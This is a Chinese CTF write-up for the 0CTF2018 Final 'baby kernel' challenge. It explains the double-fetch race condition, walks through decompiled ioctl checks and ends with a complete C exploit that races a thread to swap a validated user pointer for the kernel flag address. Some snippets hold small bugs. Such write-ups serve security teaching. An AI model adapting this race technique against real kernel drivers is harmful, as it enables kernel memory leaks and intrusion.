条件竞态

例题:0CTF2018 Final - baby kernel

下载链接

通过网盘分享的文件:竞态.zip
链接: https://pan.baidu.com/s/1IX5Fd106sFO2gIIOzfVS0A?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员v4的分享

前言

通常情况下在用户态下的 pwn 当中我们只有一个独立运行的主线程,并不存在所谓条件竞争的情况,但在 kernel pwn 当中由攻击者负责编写用户态程序,可以很轻易地启动多个线程同时运行,从而轻易地产生条件竞争

这个题目是检查通过之后,检验环节很繁琐,我们可以乘机将其替换掉

就是我们开启大量的线程,一个填充符合检验规则的flag,一个填充不符合规则的准确的flag,通过中间过程的变量差值,碰撞出歧义,从而绕过无解的情况。

原理

大致原理解析

这个其实我们之前做的题目是接触过的

double fetch 直译就是 取值两次,直接理解就是在一次操作当中要两次(或是多次)重新获取某个对象的值,可能出现在下面这种情况当中:

  • 有一大段数据要从用户空间传给内核空间,但是直接传送整块数据会造成较大的开销,故选择只向内核传送一个指向用户地址空间的指针
  • 在后续的操作当中内核需要多次通过该指针获取到用户空间的数据

假如说这个流程过长的话,就会导致出现很多bug,可以参考这篇文章里的mqtt例题的解题思路

这个题目是特意进行了sleep延时

2025鹏程杯PWN除了vm全解-先知社区

我们内核中的利用的话,让内核在两次访问这块空间时所获得的数据不一致,从而使得内核进入不同的执行流程**,用户进程甚至可以**直接开新的线程进行竞争来实现这个效果

通过在 first fetch 与 second fetch 之间的空挡修改数据从而改变内核执行流的利用手法便被称之为double fetch

我们详细介绍利用原理

大致背景

Double Fetch漏洞是一种内核态与用户态之间数据交互的竞争条件漏洞,其核心原理在于内核函数对同一用户空间数据的两次非原子性读取操作。当内核第一次读取用户数据进行验证后,攻击者可在极短时间内篡改该数据,而内核在第二次读取时会使用被修改的数据,导致安全验证失效。这种漏洞在Linux内核和Windows驱动程序中均有发现,且可导致缓冲区溢出、信息泄露甚至权限提升等严重后果。

利用姿势

首先,内核代码必须存在对同一用户空间地址的两次读取操作。最常见的情况是内核先通过copy_from_user()或get_from_user()函数读取数据进行验证(如检查长度、类型等),然后再次读取同一数据进行实际处理。其次,两次读取之间的时间窗口必须足够大,足以让攻击者修改用户空间数据。最后,被读取的数据必须驻留在用户可写的内存区域,且内核未对两次读取的数据进行一致性检查。

典型的攻击流程可分为四个阶段:准备阶段、验证阶段、篡改阶段和利用阶段。在准备阶段,攻击者构造合法用户数据,确保能通过内核的第一次验证。例如,在0ctf的baby kernel挑战中,攻击者需要准备符合三次检测条件的结构体指针 。

验证阶段,攻击者通过系统调用触发内核的第一次数据读取和验证。此时,内核会检查数据的有效性,如指针是否在用户空间、长度是否合理等 。一旦验证通过,攻击者立即进入篡改阶段,通过多线程或进程快速修改用户空间数据。例如,将数据长度从合法值改为更大的值,或修改指针指向内核空间的地址 。

最后是利用阶段,内核执行第二次数据读取时,使用被篡改的数据。这可能导致内核处理超出预期范围的数据,引发越界访问、缓冲区溢出或信息泄露等问题。攻击者可利用这些异常情况触发内核态代码执行,实现权限提升 。

例题解析

环境准备

这里的bzimage是重命名了,或者说是带上了符号表了

 ⚡ root@ziran-VMware-Virtual-Platform  /home/ziran/Desktop/core_jingtai/竞态  file vmlinuz-4.15.0-22-generic   
vmlinuz-4.15.0-22-generic: Linux kernel x86 boot executable bzImage, version 4.15.0-22-generic (buildd@lcy01-amd64-010) #24~16.04.1-Ubuntu SMP Fri May 18 09:46:31 UTC 2018, RO-rootFS, swap_dev 0X7, Normal VGA

这个ko文件的ioctl函数不能反编译,可能是我的9.1ida的原因

这个是ai给的原因

IDA 的 Hex-Rays 反编译器在恢复 switch 跳转表失败:它看到了“表跳转/间接跳转”,但 跳表信息不完整或不正确,所以伪代码阶段直接中止(而不是只把它降级成一堆 goto)

但是我这个ioctl不复杂啊我觉得

然后我们换成8.3的ida就能正常的反编译了

题目分析

Double Fetch漏洞的本质源于内核与用户空间交互时的数据不一致问题。在正常操作流程中,内核函数(如系统调用)会通过特定函数(如Linux的copy_from_user()或get_user(),Windows的IRP数据访问)从用户空间获取数据。当内核代码对同一用户空间数据进行两次独立读取时,若第一次读取用于验证而第二次读取用于实际操作,且未对两次读取的数据进行一致性检查,就形成了Double Fetch漏洞 。

漏洞的形成通常涉及以下关键环节:首先,内核函数接收用户空间数据指针;其次,内核通过第一次读取执行安全验证(如检查数据长度、指针有效性等);然后,内核通过第二次读取获取实际数据进行处理;最后,由于两次读取之间存在时间窗口,攻击者可在此期间修改用户空间数据,使第二次读取获取的数据与第一次验证结果不一致。

这种漏洞的根源在于内核开发者未意识到用户空间数据的可变性。内核认为用户空间数据在验证后是静态的,但实际上用户进程可随时修改这些数据。因此,开发者需要确保所有用户空间数据在验证后立即被复制到内核空间,并在后续操作中仅使用复制后的数据副本,而非直接访问用户空间数据。

​

这里的验证地址虽然在内核地址上,但是给了我们ioctl可以直接获取内核地址。

主要就是这个函数,简化一下是这样的

0x6666:打印 flag 的地址

0x1337:要求用户传入一个结构体 { void* buf; int len; ... },并且 buf 内容必须逐字节等于 flag,才会把 flag 打印出来

否则返回错误码(14 或 22)。

结构体的还原如下

struct chall
{
    char *flag_addr;
    int flag_len;
} flag;

这里的还原可以看那下面这个,我们ioctl的第三个参数没有显示出来,被当成了rdx,这里的rdx实质上就是我们传入的第三个参数的指针

__int64 __fastcall baby_ioctl(__int64 a1, __int64 a2)
{
  __int64 v2; // rdx
  int i; // [rsp-5Ch] [rbp-5Ch]
  __int64 v5; // [rsp-58h] [rbp-58h]

  _fentry__(a1, a2);
  v5 = v2;
  if ( (_DWORD)a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    return 0LL;
  }
  else if ( (_DWORD)a2 == 0x1337
         && (unsigned __int8)_chk_range_not_ok(
                               v2,
                               16LL,
                               *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 0x1358)) != 1
         && (unsigned __int8)_chk_range_not_ok(
                               *(_QWORD *)v5,
                               *(int *)(v5 + 8),
                               *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 0x1358)) != 1
         && *(_DWORD *)(v5 + 8) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    return 0LL;
  }
  else
  {
    return 14LL;
  }
}

然后的话第二个选项调用这个函数来进行检查,这里需要我们返回不是0的数值,可以通过调试确认

结论的话是必须传入用户态的地址

简略的写个分析吧,这个挺重要的

add 指令会影响 CF(产生进位/借位)和 OF(两数最高位相同,结果最高位改变)标志位,v3获得的就是两数相加的 CF 位,这里一般为0(除非你传入 0xffffffffffffffff 附近的数)

这里还有另外一个判断a3 是否小于 v4。a3 为 current_task 的地址加上 0x1358 处所存地址,大概是 task_struct->thread->fpu->state 这个联合体内的某个位置上存的一个值,而 v4 则是我们传入的 flag 最后一个字节的地址,即我们传入的 flag 的地址不能够大于这个值

我们通过调试可以确定这个数值

bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  bool v3; // cf
  unsigned __int64 v4; // rdi

  v3 = __CFADD__(a2, a1);
  v4 = a2 + a1;
  return v3 || a3 < v4;
}

这个题目是开启dmesg,我们可以通过拂去dmesg去查看我们printf输出的内容

dmesg的简单介绍如下

dmesg 是 Linux 上用来**查看内核日志(kernel ring buffer,内核环形缓冲区)**的命令。

  • 内核里像 printk(...) 这种输出,不会进你普通的 stdout,而是写到内核日志缓冲区。
  • dmesg 就是把这些信息读出来打印到终端,所以在你这个场景里(驱动里 printk 打了 flag 地址/内容),你才能用 dmesg 看到。

常用用法(只为理解,不涉及别的):

  • dmesg:直接看全部内核日志
  • dmesg | tail:看最新几行
  • dmesg -w:实时跟踪新输出(类似 tail -f)
  • dmesg | grep baby:按关键字过滤

你说“dmesg 权限开了”通常指系统允许普通用户读取内核日志;很多发行版会用内核参数/权限控制(比如 kernel.dmesg_restrict,以及是否需要特权能力)来限制读取,防止泄露内核地址等敏感信息。

漏洞利用

这里的一个是打印flag的地址,一个是对比flag的值

我们的思路的话也不难想,就是第一次传入合法的buf的数值通过检测,之后替换为flag的地址绕过对比,让其打印出来flag的值

脚本编写

首先导入一下库,补充一下这些库的作用吧

<unistd.h>

POSIX 接口的“基础头文件”,主要是进程与文件描述符相关的系统调用声明,比如:

  • read() / write() / close()
  • fork() / execve()
  • pipe()
  • getpid() / sleep()
  • access(), lseek() 等

一句话:和“Linux 系统调用 + FD/进程”强相关。

<stdio.h>

C 标准库的标准输入输出:

  • printf() / fprintf() / snprintf()
  • scanf()
  • fopen() / fclose() / fread() / fwrite()

一句话:格式化输出、文件流 I/O(FILE)*。

<stdlib.h>

C 标准库的“杂项工具箱”,常用包括:

  • 内存分配:malloc() / free() / calloc() / realloc()
  • 进程退出:exit() / abort()
  • 字符串转数值:atoi() / strtol()
  • 环境变量:getenv()
  • 排序:qsort()

一句话:动态内存、退出、转换、通用工具函数。

<fcntl.h>

和 open()/文件控制相关,提供:

  • open() 的 flag:O_RDONLY, O_WRONLY, O_RDWR, O_CREAT, O_TRUNC, O_CLOEXEC 等
  • fcntl():设置/获取文件描述符属性(非阻塞、close-on-exec、锁等)

一句话:打开文件的参数 + 文件描述符属性控制。

<pthread.h>

POSIX 线程库(pthreads):

  • 创建/回收线程:pthread_create(), pthread_join()
  • 锁/同步:pthread_mutex_*, pthread_cond_*
  • 线程局部数据等

一句话:多线程与同步原语。

<string.h>

C 字符串/内存块操作:

  • 字符串:strlen(), strcmp(), strcpy()/strncpy(), strstr()
  • 内存:memcpy(), memset(), memcmp(), memmove()

一句话:处理字节数组和 C 字符串。

<sys/ioctl.h>

ioctl() 系统调用相关:

  • int ioctl(int fd, unsigned long request, ...);
  • 以及构造 ioctl 命令号用的宏(例如 _IO, _IOR, _IOW, _IOWR,视平台而定)

一句话:对“设备文件/驱动”发控制命令(你前面分析的 baby_ioctl 就是这一套)。

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/ioctl.h>

然后我们定义这个题目用到的结构体传参

struct chall
{
    char *flag_addr;
    int flag_len;
} flag;

flag = 
{
    .flag_addr = fake_flag,
    .flag_len  = 33
};
  • C语言中不能在全局作用域使用 {} 进行结构体赋值
  • 要么在声明时用 = 初始化,要么在函数内部逐个赋值

这里我们触发了一下语法错误

用下面这个就不会语法报错了

struct chall {
    char *flag_addr;
    int flag_len;
} flag = {           // 在结构体定义后直接声明并初始化变量
    .flag_addr = fake_flag,
    .flag_len = 33
};

之后我们定义去驱动的交互

void print_flag_addr(int fd)
{
    ioctl(fd,0x6666);
}

void chal_verify_flag(int fd,struct chall *arg)
{
    ioctl(fd,0x1337,arg);
}

然后定义竞态,我们用这个替换buf的地址

void* thread_cyclic()
{
    while(sign)
    {
        for(int i = 0;i < race_times;i++)
        {
            flag.flag_addr = flag_kaddr;  //替换
        }
    }
}

确认设备的名称

.data:00000000000005A8                 dq offset aBaby         ; "baby"

然后我们先打印一下看看flag的地址是在哪里

void main()
{
    int fd,result_fd,addr_fd,flag_fd;
    char *tmp_buf,*flag_addr_addr,*flag_addr;
    fd = open("/dev/baby",O_RDWR);
    if(fd < 0)
    {
        puts("fd open fail!!!");
        exit(0);
    }
    print_flag_addr(fd);
}

在这个位置上打上断点

.text:000000000000004A mov     rax, cs:flag
.text:0000000000000051 mov     rsi, rax
.text:0000000000000054 mov     rdi, offset aYourFlagIsAtPx ; "Your flag is at %px! But I don't think "...
.text:000000000000005B call    printk
.text:0000000000000060 mov     eax, 0
.text:0000000000000065 jmp     loc_2E3

我们修改一下启动脚本,我们没有下面这个东西,把这个移除了就行

Could not access KVM kernel module: No such file or directory
qemu-system-x86_64: failed to initialize kvm: No such file or directory

判断驱动基址的方法我们在这篇文章讲到,可以去看结合源码深入理解ida反编译的内核的变化这篇文章

这个题目对的内核基址是在0xffffffffc0002000这个位置上

自然 的个人主页-先知社区

我们可以看到这里的地址是输出到dmesg里面了,我们可以读取,然后我们继续去写脚本

然后我们提取打印一下flag在内核中存储的地址

    system("dmesg | grep flag > /tmp/addr.txt");
    tmp_buf = malloc(0x1000);
    addr_fd = open("/tmp/addr.txt",O_RDONLY);
    if(addr_fd < 0);
    {
        puts("unable open addr.txt");
        exit(0);
    }
    tmp_buf[read(addr_fd,tmp_buf,0x1000)] = '\0';
    flag_addr_addr = strstr(tmp_buf,"Your flag is at ");
    +strlen("Your flag is at");
    flag_kaddr = (void*)strtoull(flag_addr_addr,(void *)(flag_addr_addr + 16),16);
    printf("[+]flag addr = %p",flag_kaddr);

获取这个地址之后,我们就可以进行竞态了

通过下面这个和竞态,我们可以获取flag的数值,然后我们用相同的方式提取打印出来flag就行了

这里我们用多线程去执行,尽可能的去提升命中的几率

    pthread_create(&race_thread,NULL,thread_cyclic,NULL);
    while(sign)
    {
        for(int i = 0;i < race_times;i++)
        {
            flag.flag_addr = fake_flag;
            chal_verify_flag(fd,&flag);
        }
        system("dmesg | grep flag > /tmp/resule.txt");
        result_fd = open("/tmp/result.txt",O_RDONLY);
        read(result_fd,tmp_buf,0x1000);
        if(strstr(tmp_buf,"flag{"))
        {
            sign = 0;
        }
    }
    pthread_cancel(race_thread);

然后我们用相同的方法去提取打印flag的数值即可

这里其实就已经可以了,我们打开flag.txt文件查看就是flag的数值了。

    puts("[+]success get the flag!!!");
    system("dmesg | grep -i flag > /tmp/flag.txt");

我们用相同的方式打印出来flag的数值

    if(flag_fd < 0)
    {
        puts("open flag.txt fail");
        exit(0);
    }
    flag_addr = strstr(tmp_buf,"So here is it ")+strlen("So here is it");
    fflush(stdout);
    for(int i = 0;flag_addr[i] && flag_addr[i] != '\n';i++)
    {
        putchar(flag_addr[i]);
    }
    puts("end!");

最终exp如下

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/ioctl.h>

pthread_t race_thread;
void *flag_kaddr;
char fake_flag[0x100] = "flag";
int race_times = 0x1000;
int sign = 1;



struct chall {
    char *flag_addr;
    int flag_len;
} flag = {           // 在结构体定义后直接声明并初始化变量
    .flag_addr = fake_flag,
    .flag_len = 33
};



void print_flag_addr(int fd)
{
    ioctl(fd,0x6666);
}

void chal_verify_flag(int fd,struct chall *arg)
{
    ioctl(fd,0x1337,arg);
}

void* thread_cyclic()
{
    while(sign)
    {
        for(int i = 0;i < race_times;i++)
        {
            flag.flag_addr = flag_kaddr;  //替换
        }
    }
}

void main()
{
    int fd,result_fd,addr_fd,flag_fd;
    char *tmp_buf,*flag_addr_addr,*flag_addr;
    fd = open("/dev/baby",O_RDWR);
    if(fd < 0)
    {
        puts("fd open fail!!!");
        exit(0);
    }
    print_flag_addr(fd);
    system("dmesg | grep flag > /tmp/addr.txt");
    tmp_buf = malloc(0x1000);
    addr_fd = open("/tmp/addr.txt",O_RDONLY);
    if(addr_fd < 0)
    {
        puts("unable open addr.txt");
        exit(0);
    }
    tmp_buf[read(addr_fd,tmp_buf,0x1000)] = '\0';
    flag_addr_addr = strstr(tmp_buf,"Your flag is at ")
    +strlen("Your flag is at");
    flag_kaddr = (void*)strtoull(flag_addr_addr,(void *)(flag_addr_addr + 16),16);
    printf("[+]flag addr = %p",flag_kaddr);

    pthread_create(&race_thread,NULL,thread_cyclic,NULL);
    while(sign)
    {
        for(int i = 0;i < race_times;i++)
        {
            flag.flag_addr = fake_flag;
            chal_verify_flag(fd,&flag);
        }
        system("dmesg | grep flag > /tmp/result.txt");
        result_fd = open("/tmp/result.txt",O_RDONLY);
        read(result_fd,tmp_buf,0x1000);
        if(strstr(tmp_buf,"flag{"))
        {
            sign = 0;
        }
    }
    pthread_cancel(race_thread);
    puts("[+]success get the flag!!!");
    system("dmesg | grep -i flag > /tmp/flag.txt");
    flag_fd = open("/tmp/flag.txt",O_RDONLY);
    if(flag_fd < 0)
    {
        puts("open flag.txt fail");
        exit(0);
    }
    flag_addr = strstr(tmp_buf,"So here is it ")+strlen("So here is it");
    fflush(stdout);
    for(int i = 0;flag_addr[i] && flag_addr[i] != '\n';i++)
    {
        putchar(flag_addr[i]);
    }
    puts("end!");
}